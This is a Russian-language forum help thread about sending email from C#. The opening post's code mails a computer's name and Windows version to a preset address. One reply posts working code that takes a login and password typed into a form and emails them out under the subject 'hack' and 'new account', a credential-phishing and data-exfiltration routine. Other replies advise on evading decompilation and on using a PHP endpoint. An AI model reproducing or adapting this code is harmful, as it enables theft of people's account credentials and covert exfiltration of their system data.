Загрузка...

C# отправка по почте | help

Тема в разделе C# создана пользователем squora 16 апр 2019. 281 просмотр

  1. squora
    squora Автор темы 16 апр 2019 Заблокирован(а) 4 19 окт 2018
    Код

    //Адрес SMTP-сервера
    String smtpHost = "smpt.yandex.RU";
    //Порт SMTP-сервера
    int smtpPort = 465;
    bool enableSSL = true;
    //Логин
    String smtpUserName = "EmailFrom";
    //Пароль
    String smtpUserPass = "MailPass";
    //Создание подключения
    SmtpClient client = new SmtpClient(smtpHost, smtpPort);
    client.Credentials = new NetworkCredential(smtpUserName, smtpUserPass);
    //Адрес для поля "От"
    String msgFrom = "EmailFrom";
    //Адрес для поля "Кому" (адрес получателя)
    String msgTo = "EmailTo";
    //Тема письма
    String msgSubject = "Данные пользователя:" + NamePCforMail;
    //Текст письма
    String msgBody = "Версия Windows:" + WinVers + "\n";
    //Создание сообщения
    MailMessage message = new MailMessage(msgFrom, msgTo, msgSubject, msgBody);
    using (SmtpClient smtp = new SmtpClient(msgTo, smtpPort))
    {
    smtp.Credentials = new NetworkCredential(smtpUserName, smtpUserPass);
    smtp.EnableSsl = enableSSL;
    try
    {
    //Отсылаем сообщение
    client.Send(message);
    }
    catch (SmtpException ex)
    {
    //В случае ошибки при отсылке сообщения можем увидеть, в чем проблема
    Console.WriteLine(ex.InnerException.Message.ToString());
    }
    }
    Console.ReadKey();
    }
    Но пишет "Не удается соединиться с удаленным сервером". В чем проблема?
     
  2. TeeNeeRop
    TeeNeeRop 17 апр 2019 Человек-Человека брось,а зверя-крысу, себе забери 126 13 сен 2017
    Купи хост или возьми бесплатный. Создай php скрипт и делай к нему запрос. Так надежнее и лучше.
     
  3. Joomboosick
    Joomboosick 29 апр 2019 Я тут понял что такое c# и мне так понравилось 3 24 сен 2017
    порт может быть не тот
     
  4. Ascar
    Ascar 2 май 2019 Чемпион по спизженным велосипедам 335 24 ноя 2016
    Код

    private void button1_Click(object sender, EventArgs e)
    {
    SmtpClient client = new SmtpClient("smtp.mail.ru", 2525);

    client.Credentials = new System.Net.NetworkCredential("mailmail@mail.ru", "password"); //Сюда водите мыло и пароль от которого будет приходить сообщение

    string msgFrom = "mailmail@mail.ru"; //Еще раз мыло от которого сообщение

    string msgTo = "mailmail@yandex.ru"; //Сюда мыло на которое придет сообщение

    string msgSubject = "Злом"; //Тема сообщения

    string msgBody = String.Format("Новый акк :-)\n\n {0}\nЛогин: {1}\nПароль: {2}",

    ToString(), textBox1.Text, textBox2.Text);

    MailMessage msg = new MailMessage(msgFrom, msgTo, msgSubject, msgBody);

    try
    {

    client.Send(msg);

    }

    catch
    {
    }
    }
    Проверял год назад, работало
     
  5. Tatarkagromaton
    Это не надежно. В декомпиляторе всплывут данные.
     
  6. TeeNeeRop
    TeeNeeRop 2 май 2019 Человек-Человека брось,а зверя-крысу, себе забери 126 13 сен 2017
    H
    Реально? ( 4 слова )
     
  7. Joomboosick
    Joomboosick 3 май 2019 Я тут понял что такое c# и мне так понравилось 3 24 сен 2017
    TeeNeeRop, Почему именно 4 слова не могу придумать?)
     
  8. vitya790
    vitya790 13 май 2019 19 3 июн 2017
    Мб, у тебя прост не доступен сервер smtp яндекса(возможн заблокирован в твоей стране).
     
Top
Загрузка...